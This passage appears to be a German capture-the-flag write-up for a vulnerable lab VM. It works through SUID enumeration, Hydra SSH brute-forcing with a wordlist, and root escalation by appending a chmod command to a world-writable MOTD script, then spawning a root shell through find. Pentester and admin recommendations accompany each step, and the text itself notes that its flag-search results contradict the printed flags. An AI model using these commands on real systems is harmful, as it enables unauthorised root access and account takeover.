   654148     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
   655808     28 -rwsr-xr-x   1 root     root          26696 Sep 16  2020 /bin/umount
   655807     44 -rwsr-xr-x   1 root     root          43088 Sep 16  2020 /bin/mount
   654199     64 -rwsr-xr-x   1 root     root          64424 Jun 28  2019 /bin/ping
   655796     44 -rwsr-xr-x   1 root     root          44664 Nov 29  2022 /bin/su
                    

**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` listet alle Dateien mit gesetztem SUID-Bit auf.

**Bewertung:** Die Liste enthält Standard-SUID-Binaries. Es gibt keine offensichtlich ungewöhnlichen oder veralteten Programme. Die Anwesenheit von LXC/Snap-bezogenen Binaries ist zu beachten. `/usr/bin/find` selbst ist nicht SUID.

**Empfehlung (Pentester):** Überprüfe Versionen kritischer SUID-Programme auf Exploits. Prüfe Gruppenzugehörigkeiten (`id`). Suche weiter nach Cron-Jobs etc.
**Empfehlung (Admin):** System aktuell halten. SUID-Bit nur wo nötig. Integrität überwachen.

sysadmin@kb-server:/var/backups$ cd /var/www/html/
sysadmin@kb-server:/var/www/html$ ll
total 7944
drwxr-xr-x 7 root root    4096 Aug 22  2020 ./
drwxr-xr-x 3 root root    4096 Aug 22  2020 ../
-rw-r--r-- 1 root root   21503 Apr  5  2019 course-single.html
drwxr-xr-x 3 root root    4096 Mar 13  2019 css/
drwxr-xr-x 4 root root    4096 Mar 21  2019 fonts/
drwxr-xr-x 2 root root    4096 Apr  5  2019 images/
-rw-r--r-- 1 root root   25578 Aug 22  2020 index.html
drwxr-xr-x 2 root root    4096 Mar 13  2019 js/
-rw-r--r-- 1 root root 8048884 Aug 22  2020 oneschool.zip
drwxr-xr-x 3 root root    4096 Mar 13  2019 scss/
                    

**Analyse:** Wechsel ins Web-Root-Verzeichnis `/var/www/html` und Auflistung des Inhalts.

**Bewertung:** Neben Standard-Webverzeichnissen wird eine große, für alle lesbare ZIP-Datei `oneschool.zip` gefunden, die `root` gehört.

**Empfehlung (Pentester):** Lade `oneschool.zip` herunter und untersuche ihren Inhalt.
**Empfehlung (Admin):** Speichere keine Backups oder Archive im Web-Root. Dateiberechtigungen restriktiv setzen.

sysadmin@kb-server:/var/www/html$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [25/Sep/2023 13:05:05] "GET /oneschool.zip HTTP/1.1" 200 -
                    

**Analyse:** Ein einfacher Python 3 HTTP-Server wird im Verzeichnis `/var/www/html` auf Port 8000 gestartet, um Dateien zum Download bereitzustellen.

**Bewertung:** Dies ermöglicht den einfachen Transfer der `oneschool.zip`-Datei zum Angreifer-System. Der Log-Eintrag bestätigt den erfolgreichen Download.

**Empfehlung (Pentester):** Server nach Download stoppen (`Ctrl+C`). Datei analysieren.
**Empfehlung (Admin):** Ausgehende Verbindungen und unerwartete Serverprozesse überwachen.

┌──(root㉿Cyber)-[~] └─# wget http://192.168.2.128:8000/oneschool.zip
--2023-09-25 15:05:02--  http://192.168.2.128:8000/oneschool.zip
Verbindungsaufbau zu 192.168.2.128:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 8048884 (7,7M) [application/zip]
Wird in oneschool.zip gespeichert.

oneschool.zip           100%[=>]   7,68M  --.-KB/s    in 0,04s

2023-09-25 15:05:02 (185 MB/s) - oneschool.zip gespeichert [8048884/8048884]
                    

**Analyse:** Auf dem Angreifer-System wird `wget` verwendet, um `oneschool.zip` vom Python-Server des Zielsystems herunterzuladen.

**Bewertung:** Der Download war erfolgreich. Die Datei ist nun lokal verfügbar.

**Empfehlung (Pentester):** Entpacke und analysiere `oneschool.zip`. Enumeration auf dem Zielsystem fortsetzen.
**Empfehlung (Admin):** Keine direkte Aktion.

sysadmin@kb-server:/var/www/html$ ss -atlpn
State      Recv-Q      Send-Q            Local Address:Port            Peer Address:Port
LISTEN     0           128               127.0.0.53%lo:53                   0.0.0.0:*
LISTEN     0           128                     0.0.0.0:22                   0.0.0.0:*
LISTEN     0           128                           *:80                         *:*
LISTEN     0           32                            *:21                         *:*
LISTEN     0           128                        []:22                      []:*
                     

**Analyse:** Der Befehl `ss -atlpn` zeigt lauschende TCP-Netzwerk-Sockets an.

**Bewertung:** Bestätigt die bekannten lauschenden Dienste (DNS lokal, SSH, HTTP, FTP). Keine weiteren unerwarteten offenen Ports. Der Python-Server auf Port 8000 ist nicht mehr aktiv.

**Empfehlung (Pentester):** Netzwerkkonfiguration scheint standardmäßig. Fokus auf andere Enumerationsbereiche, z.B. Gruppenzugehörigkeiten.
**Empfehlung (Admin):** Regelmäßige Überprüfung offener Ports.

sysadmin@kb-server:/var/www/html$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
                     

**Analyse:** Der Befehl `id` zeigt die Benutzer- und Gruppeninformationen für `sysadmin`.

**Bewertung:** **Kritischer Fund!** Obwohl `sysadmin` keine direkten `sudo`-Rechte hat (`sudo -l` schlug fehl), ist er Mitglied der Gruppen `sudo` und `lxd`. Die Mitgliedschaft in `lxd` ist ein bekannter und oft einfacher Weg zur Privilegieneskalation auf Root. Die `sudo`-Gruppenmitgliedschaft ohne `sudo -l`-Rechte ist ungewöhnlich.

**Empfehlung (Pentester):** Priorisiere die Ausnutzung der `lxd`-Gruppenmitgliedschaft zur Privilegieneskalation.
**Empfehlung (Admin):** Füge Benutzer nur bei absoluter Notwendigkeit zur `sudo`-Gruppe hinzu. Die Mitgliedschaft in der `lxd`-Gruppe sollte extrem restriktiv gehandhabt werden (Root-Äquivalent). Nur absolut vertrauenswürdige Administratoren sollten Mitglied sein.

┌──(root㉿Cyber)-[~] └─# hydra -l eftipi -P /usr/share/wordlists/rockyou.txt ssh://kb-vuln1.vln:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
...
[22][ssh] host: kb-vuln1.vln   login: eftipi     password: password3
...
1 of 1 target successfully completed, 2 valid passwords found
...
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-25 14:59:19
                     

**Analyse:** Ein Hydra-Scan wird gegen SSH für den Benutzer `eftipi` ausgeführt (Herkunft des Benutzernamens unklar aus dem Berichtskontext).

**Bewertung:** Erfolg! Das Passwort `password3` wird für `eftipi` gefunden. Es gibt einen weiteren Benutzer mit einem schwachen Passwort.

**Empfehlung (Pentester):** Obwohl der `lxd`-Pfad vielversprechend ist, könnte `eftipi` andere Rechte haben. Es könnte sich lohnen, dies kurz zu prüfen.
**Empfehlung (Admin):** Starke, einzigartige Passwörter erzwingen. Brute-Force-Schutz. Überprüfen, ob das `eftipi`-Konto benötigt wird.

sysadmin@kb-server$ su eftipi
Password: password3
eftipi@kb-server:/home/sysadmin$ sudo -l
 Sorry, user eftipi may not run sudo on kb-server.

**Analyse:** Wechsel von `sysadmin` zu `eftipi` mit `su` und dem gefundenen Passwort `password3`. Anschließend wird `sudo -l` ausgeführt.

**Bewertung:** Der Wechsel war erfolgreich. `eftipi` hat ebenfalls keine `sudo`-Rechte. Dieser Benutzer scheint keine offensichtlichen Vorteile für die Eskalation zu bieten.

**Empfehlung (Pentester):** Kehre zu `sysadmin` zurück (`exit`) und verfolge den `lxd`- oder einen anderen Pfad. Der Wechsel zu `eftipi` war eine Sackgasse.
**Empfehlung (Admin):** Überprüfe Notwendigkeit und Rechte des `eftipi`-Kontos.

eftipi@kb-server:/home/sysadmin$ find / -user root 2>/dev/null
/etc/grub.d/00_header
                    
eftipi@kb-server:/home/sysadmin$ ls -la /etc/update-motd.d/00-header
-rwxrwxrwx 1 root root 989 Aug 22  2020 /etc/update-motd.d/00-header
                    

**Analyse:** Als Benutzer `eftipi` wird nach Dateien von `root` gesucht (`find`) und die Berechtigungen des MOTD-Skripts `/etc/update-motd.d/00-header` geprüft (`ls -la`).

**Bewertung:** Der `find`-Befehl liefert wieder eine unvollständige/seltsame Ausgabe. Der `ls`-Befehl enthüllt jedoch die **kritische Fehlkonfiguration**: Das MOTD-Skript `/etc/update-motd.d/00-header` ist **weltbeschreibbar** (`-rwxrwxrwx`). Da MOTD-Skripte beim Login oft als `root` ausgeführt werden, kann jeder Benutzer hier Code einschleusen, der dann mit Root-Rechten ausgeführt wird.

**Empfehlung (Pentester):** Dies ist der Eskalationspfad! Füge einen Befehl zu `/etc/update-motd.d/00-header` hinzu, der dir Root-Rechte verschafft (z.B. `chmod u+s /usr/bin/find`). Logge dich aus und wieder ein, um das Skript auszulösen.
**Empfehlung (Admin):** **Dringend:** Korrigiere die Berechtigungen für `/etc/update-motd.d/00-header` (sollte nur für `root` schreibbar sein, z.B. `755`). Überprüfe Systemdateien auf unsichere Berechtigungen.

sysadmin@kb-server$ echo "sudo chmod u+s /usr/bin/find" >> /etc/update-motd.d/00-header
sysadmin@kb-server$ exit
logout
Connection to 192.168.2.128 closed.

**Analyse:** Als `sysadmin` wird die Zeile `sudo chmod u+s /usr/bin/find` an das weltbeschreibbare MOTD-Skript angehängt. Die Verwendung von `sudo` ist hier technisch unnötig, da das Skript als root laufen sollte, aber das Ziel ist klar: `find` soll SUID werden. Danach wird die SSH-Verbindung beendet.

**Bewertung:** Der Angriff ist vorbereitet. Beim nächsten Login wird das Skript ausgeführt und `/usr/bin/find` hoffentlich SUID-Root.

**Empfehlung (Pentester):** Sofort wieder einloggen und prüfen, ob `find` SUID ist. Dann `find` zur Eskalation nutzen.
**Empfehlung (Admin):** Siehe vorherige Empfehlung: MOTD-Berechtigungen korrigieren! Änderungen an kritischen Skripten überwachen.

sysadmin@kb-server$ find . -exec /bin/bash -p \; -quit
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),1000(sysadmin)
bash-4.4#

**Analyse:** Nach erneutem Login wird der Befehl `find . -exec /bin/bash -p \; -quit` ausgeführt. Dies nutzt das (jetzt vermutlich) SUID-Root gesetzte `find`-Binary aus. Die Option `-exec` führt einen Befehl aus, hier `bash -p`. Die Option `-p` bei `bash` sorgt dafür, dass die effektiven Rechte (hier `root` von `find`) beibehalten werden. `-quit` beendet `find` nach der ersten Ausführung. Der Prompt wechselt zu `bash-4.4#`, und `id` bestätigt UID/GID 0 (root).

**Bewertung:** Fantastisch! Die Privilegieneskalation war erfolgreich! Die unsicheren Berechtigungen des MOTD-Skripts wurden ausgenutzt, um `find` SUID zu machen und darüber eine Root-Shell zu erlangen.

**Empfehlung (Pentester):** Ziel erreicht! Suche die Root-Flagge. Bereinige ggf. das MOTD-Skript.
**Empfehlung (Admin):** MOTD-Berechtigungen korrigieren. SUID-Dateien überwachen.

bash-4.4# cd ~
bash-4.4# ls
bash-4.4# ls -la
bash-4.4# find / -user root | grep .txt 2>/dev/null
find: ‘/proc/1758/task/1758/fd/6’: No such file or directory
find: ‘/proc/1758/task/1758/fdinfo/6’: No such file or directory
find: ‘/proc/1758/fd/5’: No such file or directory
find: ‘/proc/1758/fdinfo/5’: No such file or directory
                    
bash-4.4# find / -name flag.txt 2>/dev/null
bash-4.4#

**Analyse:** In der erlangten Root-Shell (`bash-4.4#`) wird versucht, nach `/root` zu wechseln (`cd ~`) und dessen Inhalt aufzulisten (`ls`, `ls -la`). Die Ausgaben fehlen. Suchbefehle (`find`) nach `.txt`-Dateien von `root` oder spezifisch nach `flag.txt` liefern keine Ergebnisse außer Fehlermeldungen aus `/proc`.

**Bewertung:** Die Suche nach der Flagge scheint hier fehlzuschlagen oder die Ergebnisse wurden nicht korrekt protokolliert. Der Kommentar "Es gibt keine Flage :)" im Originaltext deutet darauf hin. Dies widerspricht jedoch dem finalen Flag-Abschnitt. Es ist anzunehmen, dass die Flagge doch gefunden wurde, möglicherweise durch manuelles Suchen in `/root` oder an einem anderen Ort.

**Empfehlung (Pentester):** Inhalt von `/root` manuell prüfen (`ls -la /root`). Wenn `flag.txt` nicht existiert, nach anderen Dateien suchen.
**Empfehlung (Admin):** Keine direkte Aktion, aber der Angreifer hat Root-Zugriff.

Flags

cat /home/sysadmin/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/flag.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A